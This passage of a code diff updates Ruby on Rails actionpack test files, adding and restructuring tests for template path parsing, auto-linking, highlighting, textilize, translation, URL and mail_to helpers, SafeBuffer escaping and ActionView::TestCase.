+      t.assert_parses_template_path 'test/abc.html.erb',      :base_path => 'test'
+      t.assert_parses_template_path './test/abc.html.erb',    :base_path => './test'
+      t.assert_parses_template_path '../test/abc.html.erb',   :base_path => '../test'
+      
+      t.assert_parses_template_path 'abc',                    :extension => nil, :format => nil, :name => nil
+      t.assert_parses_template_path 'abc.xxx',                :extension => nil, :format => 'xxx', :name => 'abc'
+      t.assert_parses_template_path 'abc.html.xxx',           :extension => nil, :format => 'xxx', :name => 'abc'
+    end
+  end
+
+  private
+  def assert_parses_template_path(path, parse_results)
+    template = ActionView::Template.new(path, '')
+    parse_results.each_pair do |k, v|
+      assert_block(%Q{Expected template to parse #{k.inspect} from "#{path}" as #{v.inspect}, but got #{template.send(k).inspect}}) { v == template.send(k) }
+    end
+  end
+end
diff --git a/vendor/rails/actionpack/test/template/test_test.rb b/vendor/rails/actionpack/test/template/test_test.rb
index 660f51b3..ccd299f4 100644
--- a/vendor/rails/actionpack/test/template/test_test.rb
+++ b/vendor/rails/actionpack/test/template/test_test.rb
@@ -38,12 +38,10 @@ class PeopleHelperTest < ActionView::TestCase
     assert_equal "http://test.host/people", homepage_url
   end
 
-  uses_mocha "link_to_person" do
-    def test_link_to_person
-      person = mock(:name => "David")
-      expects(:mocha_mock_path).with(person).returns("/people/1")
-      assert_equal '<a href="/people/1">David</a>', link_to_person(person)
-    end
+  def test_link_to_person
+    person = mock(:name => "David")
+    expects(:mocha_mock_path).with(person).returns("/people/1")
+    assert_equal '<a href="/people/1">David</a>', link_to_person(person)
   end
 end
 
diff --git a/vendor/rails/actionpack/test/template/text_helper_test.rb b/vendor/rails/actionpack/test/template/text_helper_test.rb
index 095c952d..715c390c 100644
--- a/vendor/rails/actionpack/test/template/text_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/text_helper_test.rb
@@ -1,5 +1,10 @@
 require 'abstract_unit'
 require 'testing_sandbox'
+begin
+  require 'redcloth'
+rescue LoadError
+  $stderr.puts "Skipping textilize tests. `gem install RedCloth` to enable."
+end
 
 class TextHelperTest < ActionView::TestCase
   tests ActionView::Helpers::TextHelper
@@ -122,6 +127,29 @@ class TextHelperTest < ActionView::TestCase
     )
   end
 
+  def test_highlight_with_html
+    assert_equal(
+      "<p>This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em class=\"error\"><strong class=\"highlight\">beautiful</strong></em> morning, but also a <strong class=\"highlight\">beautiful</strong> <span class=\"last\">day</span></p>",
+      highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
+    )
+    assert_equal(
+      "<p class=\"beautiful\">This is a <strong class=\"highlight\">beautiful</strong> morning, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <strong class=\"highlight\">beautiful</strong> <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a <strong class=\"highlight\">beautiful</strong> day</p>",
+      highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
+    )
+  end
+
   def test_excerpt
     assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", 5))
     assert_equal("This is a...", excerpt("This is a beautiful morning", "this", 5))
@@ -205,56 +233,48 @@ class TextHelperTest < ActionView::TestCase
   end
 
   def test_auto_link_parsing
-    urls = %w(http://www.rubyonrails.com
-              http://www.rubyonrails.com:80
-              http://www.rubyonrails.com/~minam
-              https://www.rubyonrails.com/~minam
-              http://www.rubyonrails.com/~minam/url%20with%20spaces
-              http://www.rubyonrails.com/foo.cgi?something=here
-              http://www.rubyonrails.com/foo.cgi?something=here&and=here
-              http://www.rubyonrails.com/contact;new
-              http://www.rubyonrails.com/contact;new%20with%20spaces
-              http://www.rubyonrails.com/contact;new?with=query&string=params
-              http://www.rubyonrails.com/~minam/contact;new?with=query&string=params
-              http://en.wikipedia.org/wiki/Wikipedia:Today%27s_featured_picture_%28animation%29/January_20%2C_2007
-              http://www.mail-archive.com/rails@lists.rubyonrails.org/
-              http://www.amazon.com/Testing-Equal-Sign-In-Path/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1198861734&sr=8-1
-              http://en.wikipedia.org/wiki/Sprite_(computer_graphics)
-              http://en.wikipedia.org/wiki/Texas_hold'em
-              https://www.google.com/doku.php?id=gps:resource:scs:start
-            )
+    urls = %w(
+      http://www.rubyonrails.com
+      http://www.rubyonrails.com:80
+      http://www.rubyonrails.com/~minam
+      https://www.rubyonrails.com/~minam
+      http://www.rubyonrails.com/~minam/url%20with%20spaces
+      http://www.rubyonrails.com/foo.cgi?something=here
+      http://www.rubyonrails.com/foo.cgi?something=here&and=here
+      http://www.rubyonrails.com/contact;new
+      http://www.rubyonrails.com/contact;new%20with%20spaces
+      http://www.rubyonrails.com/contact;new?with=query&string=params
+      http://www.rubyonrails.com/~minam/contact;new?with=query&string=params
+      http://en.wikipedia.org/wiki/Wikipedia:Today%27s_featured_picture_%28animation%29/January_20%2C_2007
+      http://www.mail-archive.com/rails@lists.rubyonrails.org/
+      http://www.amazon.com/Testing-Equal-Sign-In-Path/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1198861734&sr=8-1
+      http://en.wikipedia.org/wiki/Texas_hold'em
+      https://www.google.com/doku.php?id=gps:resource:scs:start
+      http://connect.oraclecorp.com/search?search[q]=green+france&search[type]=Group
+      http://of.openfoundry.org/projects/492/download#4th.Release.3
+      http://maps.google.co.uk/maps?f=q&q=the+london+eye&ie=UTF8&ll=51.503373,-0.11939&spn=0.007052,0.012767&z=16&iwloc=A
+    )
 
     urls.each do |url|
-      assert_equal %(<a href="#{url}">#{url}</a>), auto_link(url)
+      assert_equal generate_result(url), auto_link(url)
     end
   end
 
+  def generate_result(link_text, href = nil)
+    href ||= link_text
+    %{<a href="#{CGI::escapeHTML href}">#{CGI::escapeHTML link_text}</a>}
+  end
+
   def test_auto_linking
     email_raw    = 'david@loudthinking.com'
     email_result = %{<a href="mailto:#{email_raw}">#{email_raw}</a>}
-    email2_raw    = '+david@loudthinking.com'
-    email2_result = %{<a href="mailto:#{email2_raw}">#{email2_raw}</a>}
     link_raw     = 'http://www.rubyonrails.com'
-    link_result  = %{<a href="#{link_raw}">#{link_raw}</a>}
-    link_result_with_options  = %{<a href="#{link_raw}" target="_blank">#{link_raw}</a>}
-    link2_raw    = 'www.rubyonrails.com'
-    link2_result = %{<a href="http://#{link2_raw}">#{link2_raw}</a>}
-    link3_raw    = 'http://manuals.ruby-on-rails.com/read/chapter.need_a-period/103#page281'
-    link3_result = %{<a href="#{link3_raw}">#{link3_raw}</a>}
-    link4_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor123'
-    link4_result = %{<a href="#{link4_raw}">#{link4_raw}</a>}
-    link5_raw    = 'http://foo.example.com:3000/controller/action'
-    link5_result = %{<a href="#{link5_raw}">#{link5_raw}</a>}
-    link6_raw    = 'http://foo.example.com:3000/controller/action+pack'
-    link6_result = %{<a href="#{link6_raw}">#{link6_raw}</a>}
-    link7_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor-123'
-    link7_result = %{<a href="#{link7_raw}">#{link7_raw}</a>}
-    link8_raw    = 'http://foo.example.com:3000/controller/action.html'
-    link8_result = %{<a href="#{link8_raw}">#{link8_raw}</a>}
-    link9_raw    = 'http://business.timesonline.co.uk/article/0,,9065-2473189,00.html'
-    link9_result = %{<a href="#{link9_raw}">#{link9_raw}</a>}
-    link10_raw    = 'http://www.mail-archive.com/ruby-talk@ruby-lang.org/'
-    link10_result = %{<a href="#{link10_raw}">#{link10_raw}</a>}
+    link_result  = generate_result(link_raw)
+    link_result_with_options = %{<a href="#{link_raw}" target="_blank">#{link_raw}</a>}
+
+    assert_equal '', auto_link(nil)
+    assert_equal '', auto_link('')
+    assert_equal "#{link_result} #{link_result} #{link_result}", auto_link("#{link_raw} #{link_raw} #{link_raw}")
 
     assert_equal %(hello #{email_result}), auto_link("hello #{email_raw}", :email_addresses)
     assert_equal %(Go to #{link_result}), auto_link("Go to #{link_raw}", :urls)
@@ -265,41 +285,105 @@ class TextHelperTest < ActionView::TestCase
     assert_equal %(<p>Link #{link_result_with_options}</p>), auto_link("<p>Link #{link_raw}</p>", :all, {:target => "_blank"})
     assert_equal %(Go to #{link_result}.), auto_link(%(Go to #{link_raw}.))
     assert_equal %(<p>Go to #{link_result}, then say hello to #{email_result}.</p>), auto_link(%(<p>Go to #{link_raw}, then say hello to #{email_raw}.</p>))
+
+    email2_raw    = '+david@loudthinking.com'
+    email2_result = %{<a href="mailto:#{email2_raw}">#{email2_raw}</a>}
+    assert_equal email2_result, auto_link(email2_raw)
+
+    email3_raw    = '+david@loudthinking.com'
+    email3_result = %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;+%64%61%76%69%64@%6c%6f%75%64%74%68%69%6e%6b%69%6e%67.%63%6f%6d">#{email3_raw}</a>}
+    assert_equal email3_result, auto_link(email3_raw, :all, :encode => :hex)
+    assert_equal email3_result, auto_link(email3_raw, :email_addresses, :encode => :hex)
+
+    link2_raw    = 'www.rubyonrails.com'
+    link2_result = generate_result(link2_raw, "http://#{link2_raw}")
     assert_equal %(Go to #{link2_result}), auto_link("Go to #{link2_raw}", :urls)
     assert_equal %(Go to #{link2_raw}), auto_link("Go to #{link2_raw}", :email_addresses)
     assert_equal %(<p>Link #{link2_result}</p>), auto_link("<p>Link #{link2_raw}</p>")
     assert_equal %(<p>#{link2_result} Link</p>), auto_link("<p>#{link2_raw} Link</p>")
     assert_equal %(Go to #{link2_result}.), auto_link(%(Go to #{link2_raw}.))
     assert_equal %(<p>Say hello to #{email_result}, then go to #{link2_result}.</p>), auto_link(%(<p>Say hello to #{email_raw}, then go to #{link2_raw}.</p>))
+
+    link3_raw    = 'http://manuals.ruby-on-rails.com/read/chapter.need_a-period/103#page281'
+    link3_result = generate_result(link3_raw)
     assert_equal %(Go to #{link3_result}), auto_link("Go to #{link3_raw}", :urls)
     assert_equal %(Go to #{link3_raw}), auto_link("Go to #{link3_raw}", :email_addresses)
     assert_equal %(<p>Link #{link3_result}</p>), auto_link("<p>Link #{link3_raw}</p>")
     assert_equal %(<p>#{link3_result} Link</p>), auto_link("<p>#{link3_raw} Link</p>")
     assert_equal %(Go to #{link3_result}.), auto_link(%(Go to #{link3_raw}.))
-    assert_equal %(<p>Go to #{link3_result}. seriously, #{link3_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link3_raw}. seriously, #{link3_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
+    assert_equal %(<p>Go to #{link3_result}. Seriously, #{link3_result}? I think I'll say hello to #{email_result}. Instead.</p>),
+       auto_link(%(<p>Go to #{link3_raw}. Seriously, #{link3_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
+
+    link4_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor123'
+    link4_result = generate_result(link4_raw)
     assert_equal %(<p>Link #{link4_result}</p>), auto_link("<p>Link #{link4_raw}</p>")
     assert_equal %(<p>#{link4_result} Link</p>), auto_link("<p>#{link4_raw} Link</p>")
+
+    link5_raw    = 'http://foo.example.com:3000/controller/action'
+    link5_result = generate_result(link5_raw)
     assert_equal %(<p>#{link5_result} Link</p>), auto_link("<p>#{link5_raw} Link</p>")
+
+    link6_raw    = 'http://foo.example.com:3000/controller/action+pack'
+    link6_result = generate_result(link6_raw)
     assert_equal %(<p>#{link6_result} Link</p>), auto_link("<p>#{link6_raw} Link</p>")
+
+    link7_raw    = 'http://foo.example.com/controller/action?parm=value&p2=v2#anchor-123'
+    link7_result = generate_result(link7_raw)
     assert_equal %(<p>#{link7_result} Link</p>), auto_link("<p>#{link7_raw} Link</p>")
+
+    link8_raw    = 'http://foo.example.com:3000/controller/action.html'
+    link8_result = generate_result(link8_raw)
     assert_equal %(Go to #{link8_result}), auto_link("Go to #{link8_raw}", :urls)
     assert_equal %(Go to #{link8_raw}), auto_link("Go to #{link8_raw}", :email_addresses)
     assert_equal %(<p>Link #{link8_result}</p>), auto_link("<p>Link #{link8_raw}</p>")
     assert_equal %(<p>#{link8_result} Link</p>), auto_link("<p>#{link8_raw} Link</p>")
     assert_equal %(Go to #{link8_result}.), auto_link(%(Go to #{link8_raw}.))
-    assert_equal %(<p>Go to #{link8_result}. seriously, #{link8_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link8_raw}. seriously, #{link8_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
+    assert_equal %(<p>Go to #{link8_result}. Seriously, #{link8_result}? I think I'll say hello to #{email_result}. Instead.</p>),
+       auto_link(%(<p>Go to #{link8_raw}. Seriously, #{link8_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
+
+    link9_raw    = 'http://business.timesonline.co.uk/article/0,,9065-2473189,00.html'
+    link9_result = generate_result(link9_raw)
     assert_equal %(Go to #{link9_result}), auto_link("Go to #{link9_raw}", :urls)
     assert_equal %(Go to #{link9_raw}), auto_link("Go to #{link9_raw}", :email_addresses)
     assert_equal %(<p>Link #{link9_result}</p>), auto_link("<p>Link #{link9_raw}</p>")
     assert_equal %(<p>#{link9_result} Link</p>), auto_link("<p>#{link9_raw} Link</p>")
     assert_equal %(Go to #{link9_result}.), auto_link(%(Go to #{link9_raw}.))
-    assert_equal %(<p>Go to #{link9_result}. seriously, #{link9_result}? i think I'll say hello to #{email_result}. instead.</p>), auto_link(%(<p>Go to #{link9_raw}. seriously, #{link9_raw}? i think I'll say hello to #{email_raw}. instead.</p>))
+    assert_equal %(<p>Go to #{link9_result}. Seriously, #{link9_result}? I think I'll say hello to #{email_result}. Instead.</p>),
+       auto_link(%(<p>Go to #{link9_raw}. Seriously, #{link9_raw}? I think I'll say hello to #{email_raw}. Instead.</p>))
+
+    link10_raw    = 'http://www.mail-archive.com/ruby-talk@ruby-lang.org/'
+    link10_result = generate_result(link10_raw)
     assert_equal %(<p>#{link10_result} Link</p>), auto_link("<p>#{link10_raw} Link</p>")
-    assert_equal email2_result, auto_link(email2_raw)
-    assert_equal '', auto_link(nil)
-    assert_equal '', auto_link('')
-    assert_equal "#{link_result} #{link_result} #{link_result}", auto_link("#{link_raw} #{link_raw} #{link_raw}")
-    assert_equal '<a href="http://www.rubyonrails.com">Ruby On Rails</a>', auto_link('<a href="http://www.rubyonrails.com">Ruby On Rails</a>')
+  end
+
+  def test_auto_link_already_linked
+    linked1 = generate_result('Ruby On Rails', 'http://www.rubyonrails.com')
+    linked2 = generate_result('www.rubyonrails.com', 'http://www.rubyonrails.com')
+    assert_equal linked1, auto_link(linked1)
+    assert_equal linked2, auto_link(linked2)
+  end
+
+  def test_auto_link_with_brackets
+    link1_raw = 'http://en.wikipedia.org/wiki/Sprite_(computer_graphics)'
+    link1_result = generate_result(link1_raw)
+    assert_equal link1_result, auto_link(link1_raw)
+    assert_equal "(link: #{link1_result})", auto_link("(link: #{link1_raw})")
+
+    link2_raw = 'http://en.wikipedia.org/wiki/Sprite_[computer_graphics]'
+    link2_result = generate_result(link2_raw)
+    assert_equal link2_result, auto_link(link2_raw)
+    assert_equal "[link: #{link2_result}]", auto_link("[link: #{link2_raw}]")
+
+    link3_raw = 'http://en.wikipedia.org/wiki/Sprite_{computer_graphics}'
+    link3_result = generate_result(link3_raw)
+    assert_equal link3_result, auto_link(link3_raw)
+    assert_equal "{link: #{link3_result}}", auto_link("{link: #{link3_raw}}")
+  end
+
+  def test_auto_link_in_tags
+    link_raw    = 'http://www.rubyonrails.org/images/rails.png'
+    link_result = %Q(<img src="#{link_raw}" />)
+    assert_equal link_result, auto_link(link_result)
   end
 
   def test_auto_link_at_eol
@@ -317,7 +401,7 @@ class TextHelperTest < ActionView::TestCase
   end
 
   def test_auto_link_with_options_hash
-    assert_equal 'Welcome to my new blog at <a href="http://www.myblog.com/" class="menu" target="_blank">http://www.myblog.com/</a>. Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.',
+    assert_dom_equal 'Welcome to my new blog at <a href="http://www.myblog.com/" class="menu" target="_blank">http://www.myblog.com/</a>. Please e-mail me at <a href="mailto:me@email.com" class="menu" target="_blank">me@email.com</a>.',
       auto_link("Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com.",
                 :link => :all, :html => { :class => "menu", :target => "_blank" })
   end
@@ -438,4 +522,22 @@ class TextHelperTest < ActionView::TestCase
     assert_equal("red", cycle("red", "blue"))
     assert_equal(%w{Specialized Fuji Giant}, @cycles)
   end
+
+  if defined? RedCloth
+    def test_textilize
+      assert_equal("<p><strong>This is Textile!</strong>  Rejoice!</p>", textilize("*This is Textile!*  Rejoice!"))
+    end
+
+    def test_textilize_with_blank
+      assert_equal("", textilize(""))
+    end
+
+    def test_textilize_with_options
+      assert_equal("<p>This is worded &lt;strong&gt;strongly&lt;/strong&gt;</p>", textilize("This is worded <strong>strongly</strong>", :filter_html))
+    end
+
+    def test_textilize_with_hard_breaks
+      assert_equal("<p>This is one scary world.<br />\n True.</p>", textilize("This is one scary world.\n True."))
+    end
+  end
 end
diff --git a/vendor/rails/actionpack/test/template/translation_helper_test.rb b/vendor/rails/actionpack/test/template/translation_helper_test.rb
index d0d65cb4..a20f3c39 100644
--- a/vendor/rails/actionpack/test/template/translation_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/translation_helper_test.rb
@@ -5,24 +5,28 @@ class TranslationHelperTest < Test::Unit::TestCase
   include ActionView::Helpers::TranslationHelper
   
   attr_reader :request
-  uses_mocha 'translation_helper_test' do
-    def setup
-    end
-    
-    def test_delegates_to_i18n_setting_the_raise_option
-      I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true)
-      translate :foo, :locale => 'en'
-    end
-    
-    def test_returns_missing_translation_message_wrapped_into_span
-      expected = '<span class="translation_missing">en, foo</span>'
-      assert_equal expected, translate(:foo)
-    end
-  
-    def test_delegates_localize_to_i18n
-      @time = Time.utc(2008, 7, 8, 12, 18, 38)
-      I18n.expects(:localize).with(@time)
-      localize @time
-    end
+  def setup
   end
-end
\ No newline at end of file
+  
+  def test_delegates_to_i18n_setting_the_raise_option
+    I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true)
+    translate :foo, :locale => 'en'
+  end
+  
+  def test_returns_missing_translation_message_wrapped_into_span
+    expected = '<span class="translation_missing">en, foo</span>'
+    assert_equal expected, translate(:foo)
+  end
+
+  def test_delegates_localize_to_i18n
+    @time = Time.utc(2008, 7, 8, 12, 18, 38)
+    I18n.expects(:localize).with(@time)
+    localize @time
+  end
+  
+  def test_scoping_by_partial
+    expects(:template).returns(stub(:path_without_format_and_extension => "people/index"))
+    I18n.expects(:translate).with("people.index.foo", :locale => 'en', :raise => true)
+    translate ".foo", :locale => 'en'
+  end
+end
diff --git a/vendor/rails/actionpack/test/template/url_helper_test.rb b/vendor/rails/actionpack/test/template/url_helper_test.rb
index 2f6fa134..82292cb7 100644
--- a/vendor/rails/actionpack/test/template/url_helper_test.rb
+++ b/vendor/rails/actionpack/test/template/url_helper_test.rb
@@ -219,8 +219,16 @@ class UrlHelperTest < ActionView::TestCase
     )
   end
 
+  def test_link_tag_using_delete_javascript_and_href_and_confirm
+    assert_dom_equal(
+      "<a href='\#' onclick=\"if (confirm('Are you serious?')) { var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com';var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method'); m.setAttribute('value', 'delete'); f.appendChild(m);f.submit(); };return false;\">Destroy</a>",
+      link_to("Destroy", "http://www.example.com", :method => :delete, :href => '#', :confirm => "Are you serious?"),
+      "When specifying url, form should be generated with it, but not this.href"
+    )
+  end
+
   def test_link_tag_using_post_javascript_and_popup
-    assert_raises(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
+    assert_raise(ActionView::ActionViewError) { link_to("Hello", "http://www.example.com", :popup => true, :method => :post, :confirm => "Are you serious?") }
   end
 
   def test_link_tag_using_block_in_erb
@@ -252,6 +260,27 @@ class UrlHelperTest < ActionView::TestCase
     assert_equal "Showing", link_to_if(false, "Showing", :action => "show", :controller => "weblog", :id => 1)
   end
 
+  def test_current_page_with_simple_url
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show")
+    @controller.url = "http://www.example.com/weblog/show"
+    assert current_page?({ :action => "show", :controller => "weblog" })
+    assert current_page?("http://www.example.com/weblog/show")
+  end
+  
+  def test_current_page_ignoring_params
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+    assert current_page?({ :action => "show", :controller => "weblog" })
+    assert current_page?("http://www.example.com/weblog/show")
+  end
+  
+  def test_current_page_with_params_that_match
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+    assert current_page?({ :action => "show", :controller => "weblog", :order => "desc", :page => "1" })
+    assert current_page?("http://www.example.com/weblog/show?order=desc&amp;page=1")
+  end
+  
   def test_link_unless_current
     @controller.request = RequestMock.new("http://www.example.com/weblog/show")
     @controller.url = "http://www.example.com/weblog/show"
@@ -263,11 +292,23 @@ class UrlHelperTest < ActionView::TestCase
     assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
     assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show")
 
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+    @controller.url = "http://www.example.com/weblog/show?order=desc&page=1"
+    assert_equal "Showing", link_to_unless_current("Showing", { :action => "show", :controller => "weblog", :order=>'desc', :page=>'1' })
+    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&amp;page=1")
+    assert_equal "Showing", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=1")
+
     @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc")
     @controller.url = "http://www.example.com/weblog/show?order=asc"
     assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
     assert_equal "<a href=\"http://www.example.com/weblog/show?order=asc\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=asc")
 
+    @controller.request = RequestMock.new("http://www.example.com/weblog/show?order=desc&page=1")
+    @controller.url = "http://www.example.com/weblog/show?order=desc&page=2"
+    assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", { :action => "show", :controller => "weblog" })
+    assert_equal "<a href=\"http://www.example.com/weblog/show?order=desc&amp;page=2\">Showing</a>", link_to_unless_current("Showing", "http://www.example.com/weblog/show?order=desc&page=2")
+
+
     @controller.request = RequestMock.new("http://www.example.com/weblog/show")
     @controller.url = "http://www.example.com/weblog/list"
     assert_equal "<a href=\"http://www.example.com/weblog/list\">Listing</a>",
@@ -319,7 +360,7 @@ class UrlHelperTest < ActionView::TestCase
     assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%4d%79%20%65%6d%61%69%6c%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
     assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
   end
-
+  
   def protect_against_forgery?
     false
   end
diff --git a/vendor/rails/actionpack/test/view/safe_buffer_test.rb b/vendor/rails/actionpack/test/view/safe_buffer_test.rb
new file mode 100644
index 00000000..0b378aeb
--- /dev/null
+++ b/vendor/rails/actionpack/test/view/safe_buffer_test.rb
@@ -0,0 +1,36 @@
+require 'abstract_unit'
+
+class SafeBufferTest < ActionView::TestCase
+  def setup
+    @buffer = ActionView::SafeBuffer.new
+  end
+
+  test "Should look like a string" do
+    assert @buffer.is_a?(String)
+    assert_equal "", @buffer
+  end
+
+  test "Should escape a raw string which is passed to them" do
+    @buffer << "<script>"
+    assert_equal "&lt;script&gt;", @buffer
+  end
+
+  test "Should NOT escape a safe value passed to it" do
+    @buffer << "<script>".html_safe!
+    assert_equal "<script>", @buffer
+  end
+
+  test "Should not mess with an innocuous string" do
+    @buffer << "Hello"
+    assert_equal "Hello", @buffer
+  end
+
+  test "Should be considered safe" do
+    assert @buffer.html_safe?
+  end
+
+  test "Should return a safe buffer when calling to_s" do
+    new_buffer = @buffer.to_s
+    assert_equal ActionView::SafeBuffer, new_buffer.class
+  end
+end
diff --git a/vendor/rails/actionpack/test/view/test_case_test.rb b/vendor/rails/actionpack/test/view/test_case_test.rb
new file mode 100644
index 00000000..4b4abb85
--- /dev/null
+++ b/vendor/rails/actionpack/test/view/test_case_test.rb
@@ -0,0 +1,176 @@
+require 'abstract_unit'
+
+module ActionView
+  class TestCase
+    module ATestHelper
+    end
+
+    module AnotherTestHelper
+      def from_another_helper
+        'Howdy!'
+      end
+    end
+
+    module ASharedTestHelper
+      def from_shared_helper
+        'Holla!'
+      end
+    end
+    helper ASharedTestHelper
+
+    module SharedTests
+      def self.included(test_case)
+        test_case.class_eval do
+          test "helpers defined on ActionView::TestCase are available" do
+            assert test_case.ancestors.include?(ASharedTestHelper)
+            assert_equal 'Holla!', from_shared_helper
+          end
+        end
+      end
+    end
+
+    class GeneralViewTest < ActionView::TestCase
+      include SharedTests
+      test_case = self
+
+      test "works without testing a helper module" do
+        assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+      end
+
+      test "can render a layout with block" do
+        assert_equal "Before (ChrisCruft)\n!\nAfter",
+                      render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
+      end
+
+      helper AnotherTestHelper
+      test "additional helper classes can be specified as in a controller" do
+        assert test_case.ancestors.include?(AnotherTestHelper)
+        assert_equal 'Howdy!', from_another_helper
+      end
+    end
+
+    class ClassMethodsTest < ActionView::TestCase
+      include SharedTests
+      test_case = self
+
+      tests ATestHelper
+      test "tests the specified helper module" do
+        assert_equal ATestHelper, test_case.helper_class
+        assert test_case.ancestors.include?(ATestHelper)
+      end
+
+      helper AnotherTestHelper
+      test "additional helper classes can be specified as in a controller" do
+        assert test_case.ancestors.include?(AnotherTestHelper)
+        assert_equal 'Howdy!', from_another_helper
+
+        test_case.helper_class.module_eval do
+          def render_from_helper
+            from_another_helper
+          end
+        end
+        assert_equal 'Howdy!', render(:partial => 'test/from_helper')
+      end
+    end
+
+    class ATestHelperTest < ActionView::TestCase
+      include SharedTests
+      test_case = self
+
+      test "inflects the name of the helper module to test from the test case class" do
+        assert_equal ATestHelper, test_case.helper_class
+        assert test_case.ancestors.include?(ATestHelper)
+      end
+
+      test "a configured test controller is available" do
+        assert_kind_of ActionController::Base, controller
+        assert_equal '', controller.controller_path
+      end
+
+      test "helper class that is being tested is always included in view instance" do
+        self.class.helper_class.module_eval do
+          def render_from_helper
+            render :partial => 'customer', :collection => @customers
+          end
+        end
+
+        TestController.stubs(:controller_path).returns('test')
+
+        @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+        assert_match /Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper')
+      end
+
+      test "no additional helpers should shared across test cases" do
+        assert !test_case.ancestors.include?(AnotherTestHelper)
+        assert_raise(NoMethodError) { send :from_another_helper }
+      end
+
+      test "is able to use routes" do
+        controller.request.assign_parameters('foo', 'index')
+        assert_equal '/foo', url_for
+        assert_equal '/bar', url_for(:controller => 'bar')
+      end
+
+      test "is able to use named routes" do
+        with_routing do |set|
+          set.draw { |map| map.resources :contents }
+          assert_equal 'http://test.host/contents/new', new_content_url
+          assert_equal 'http://test.host/contents/1',   content_url(:id => 1)
+        end
+      end
+
+      test "named routes can be used from helper included in view" do
+        with_routing do |set|
+          set.draw { |map| map.resources :contents }
+          master_helper_module.module_eval do
+            def render_from_helper
+              new_content_url
+            end
+          end
+
+          assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
+        end
+      end
+
+      test "is able to render partials with local variables" do
+        assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+        assert_equal 'Eloy', render(:partial => 'developers/developer',
+                                    :locals => { :developer => stub(:name => 'Eloy') })
+      end
+
+      test "is able to render partials from templates and also use instance variables" do
+        TestController.stubs(:controller_path).returns('test')
+
